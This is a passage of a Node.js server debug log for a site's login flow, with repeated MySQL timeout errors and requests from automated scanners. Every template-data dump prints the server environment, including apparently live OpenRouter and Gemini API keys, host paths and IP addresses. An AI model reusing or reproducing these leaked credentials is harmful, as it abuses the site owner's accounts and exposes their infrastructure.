    'HTTP_X_FORWARDED-FOR': '146.190.163.172',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-10 06:33:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-10 06:33:47' as DATETIME)"
}
Error: connect ECONNREFUSED 65.21.215.19:3306
    at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
  errno: -111,
  code: 'ECONNREFUSED',
  syscall: 'connect',
  address: '65.21.215.19',
  port: 3306,
  fatal: true
}
2026-02-10T21:17:42.647Z server-connect:router Serving templateView /
2026-02-10T21:17:42.648Z server-connect:app Executing action step identify
2026-02-10T21:17:42.648Z server-connect:app options: { provider: 'security' }
2026-02-10T21:17:42.649Z server-connect:auth No login cookie found
2026-02-10T21:17:42.649Z server-connect:output identity: false
2026-02-10T21:17:42.649Z server-connect:app Executing action step restrict
2026-02-10T21:17:42.649Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-10T21:17:42.649Z server-connect:output restrict: undefined
2026-02-10T21:17:42.818Z server-connect:router Serving templateView /login
2026-02-10T21:17:42.819Z server-connect:app Executing action step identify
2026-02-10T21:17:42.819Z server-connect:app options: { provider: 'security' }
2026-02-10T21:17:42.819Z server-connect:auth No login cookie found
2026-02-10T21:17:42.819Z server-connect:output identity: false
2026-02-10T21:17:42.819Z server-connect:router Render template layouts/authentication
2026-02-10T21:17:42.819Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.86.200.140',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-11T21:17:42.818Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.86.200.140',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.86.200.140',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-10 21:56:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-10 21:56:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-10 23:07:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-10 23:07:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-10 23:20:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-10 23:20:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-11 01:34:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-11 01:34:51' as DATETIME)"
}
2026-02-11T06:39:23.534Z server-connect:router Serving templateView /
2026-02-11T06:39:23.535Z server-connect:app Executing action step identify
2026-02-11T06:39:23.535Z server-connect:app options: { provider: 'security' }
2026-02-11T06:39:23.536Z server-connect:auth No login cookie found
2026-02-11T06:39:23.536Z server-connect:output identity: false
2026-02-11T06:39:23.536Z server-connect:app Executing action step restrict
2026-02-11T06:39:23.536Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-11T06:39:23.536Z server-connect:output restrict: undefined
2026-02-11T06:39:26.204Z server-connect:router Serving templateView /login
2026-02-11T06:39:26.204Z server-connect:app Executing action step identify
2026-02-11T06:39:26.204Z server-connect:app options: { provider: 'security' }
2026-02-11T06:39:26.205Z server-connect:auth No login cookie found
2026-02-11T06:39:26.205Z server-connect:output identity: false
2026-02-11T06:39:26.205Z server-connect:router Render template layouts/authentication
2026-02-11T06:39:26.205Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.99.232.89',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-12T06:39:26.204Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.99.232.89',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.99.232.89',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-11 06:41:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-11 06:41:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-11 14:34:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-11 14:34:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-11 15:19:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-11 15:19:52' as DATETIME)"
}
2026-02-11T15:25:21.368Z server-connect:router Serving templateView /
2026-02-11T15:25:21.370Z server-connect:app Executing action step identify
2026-02-11T15:25:21.370Z server-connect:app options: { provider: 'security' }
2026-02-11T15:25:21.371Z server-connect:auth No login cookie found
2026-02-11T15:25:21.371Z server-connect:output identity: false
2026-02-11T15:25:21.371Z server-connect:app Executing action step restrict
2026-02-11T15:25:21.371Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-11T15:25:21.371Z server-connect:output restrict: undefined
2026-02-11T15:25:21.501Z server-connect:router Serving templateView /login
2026-02-11T15:25:21.501Z server-connect:app Executing action step identify
2026-02-11T15:25:21.501Z server-connect:app options: { provider: 'security' }
2026-02-11T15:25:21.501Z server-connect:auth No login cookie found
2026-02-11T15:25:21.501Z server-connect:output identity: false
2026-02-11T15:25:21.501Z server-connect:router Render template layouts/authentication
2026-02-11T15:25:21.502Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.194.26.1',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-12T15:25:21.501Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.194.26.1',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.194.26.1',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-11 15:52:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-11 15:52:53' as DATETIME)"
}
2026-02-11T17:01:23.362Z server-connect:router Serving templateView /
2026-02-11T17:01:23.363Z server-connect:app Executing action step identify
2026-02-11T17:01:23.363Z server-connect:app options: { provider: 'security' }
2026-02-11T17:01:23.363Z server-connect:auth No login cookie found
2026-02-11T17:01:23.363Z server-connect:output identity: false
2026-02-11T17:01:23.363Z server-connect:app Executing action step restrict
2026-02-11T17:01:23.363Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-11T17:01:23.364Z server-connect:output restrict: undefined
2026-02-11T17:01:23.531Z server-connect:router Serving templateView /login
2026-02-11T17:01:23.531Z server-connect:app Executing action step identify
2026-02-11T17:01:23.531Z server-connect:app options: { provider: 'security' }
2026-02-11T17:01:23.531Z server-connect:auth No login cookie found
2026-02-11T17:01:23.531Z server-connect:output identity: false
2026-02-11T17:01:23.531Z server-connect:router Render template layouts/authentication
2026-02-11T17:01:23.531Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
